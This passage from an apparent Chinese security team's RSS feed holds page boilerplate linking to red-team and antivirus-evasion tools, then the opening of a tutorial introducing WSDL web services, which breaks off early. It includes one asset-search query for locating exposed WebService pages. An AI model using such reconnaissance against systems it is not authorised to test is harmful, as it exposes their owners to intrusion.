initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=95a6d27e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247521979%26idx%3D1%26sn%3Dd5eef7917f68e56b9f9f6eb9da12e73e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Apr 2026 17:01:00 +0800</pubDate>
    </item>
    <item>
      <title>好好吃饭 打好基础之初遇wsdl</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247521950&amp;idx=1&amp;sn=b89f92cd227f707591e7e5cfd2a6878d</link>
      <description>WSDL（Web Services Description Language，Web服务描述语言）是一种基于 XML 的语言，用于描述网络服务的具体功能。</description>
      <content:encoded><![CDATA[<p>原创 <span>swordlover</span> <span>2026-04-01 17:05</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0196e5aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUbx6CAEnFm00D6j6hs6z3mU5SrIVyOOj3bG1ozJHcOEbo2jpRa84TDfoc8zLCjx2ubfskotuniaiabVOojIcLRibrXVnUibbM9eUs%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>WSDL（Web Services Description Language，Web服务描述语言）是一种基于 XML 的语言，用于描述网络服务的具体功能。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, Microsoft YaHei, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">&#34;Nothing happens without a cause.&#34; --斯宾诺莎 (Baruch Spinoza)</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">曾经有一个眼神清澈的青年，他在酒店房间中快速浏览着网页，渐渐的，他面红耳赤、心跳加速、</span><s style="color: rgb(0, 0, 0);font-style: italic;"><span leaf="">荷尔蒙侧漏</span></s><span leaf="">，突然，他看到了一个令他不解的东西，一个条链接的后面赫然挂着?WSDL。这是什么，难道建立这个网站的人想告诉世人，我(W)是(S)大(D)佬(L)吗？为了弄清楚一切，这位青年，开始翻阅起资料......</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9863013698630136" data-type="png" data-w="292" style="display:block;margin-top:0px;margin-right:auto;margin-bottom:0px;margin-left:auto;max-width:100%;border-top-style:none;border-bottom-style:none;border-left-style:none;border-right-style:none;border-top-width:3px;border-bottom-width:3px;border-left-width:3px;border-right-width:3px;border-top-color:rgba(0, 0, 0, 0.4);border-bottom-color:rgba(0, 0, 0, 0.4);border-left-color:rgba(0, 0, 0, 0.4);border-right-color:rgba(0, 0, 0, 0.4);border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;object-fit:fill;box-shadow:rgba(0, 0, 0, 0) 0px 0px 0px 0px;width:223px;height:220px;" data-imgfileid="100038263" src="https://wechat2rss.xlab.app/img-proxy/?k=8e010e8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWYDmbEIj6kLQlBibHiaL2n3TiaNxmyYfBzQic29DwjIiaMsNcXUfOROMVjZCJyTPV8SIPTrLqxJyLR0LOST3BRkmralbAI2aS64ibos%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">一、扒一扒WSDL的底</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;word-wrap:break-word;word-break:break-all;"><span leaf="">WSDL（Web Services Description Language，Web服务描述语言）是一种基于 XML 的语言，用于描述网络服务的具体功能。 它的主要目的是告诉外界：</span></p><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgb(130, 127, 196);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(112, 103, 166, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><span leaf="">“我这里提供了一个服务。” “这个服务可以通过什么方式访问（地址、协议）。” “这个服务里有哪些可以调用的方法（函数）。” “调用这些方法需要传入什么参数，参数是什么类型。” “调用成功后，它会返回什么样的数据。”</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">文字叙述难以理解，找个有关网站我们看一下：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">QUAKE:body:</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&lt;wsdl:&#34;</span></span><span leaf=""> AND title: </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;WebService Web 服务&#34;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">正常打开的界面如下，这也是个特征，.net的基本都长这样。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5462962962962963" data-type="png" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038265" 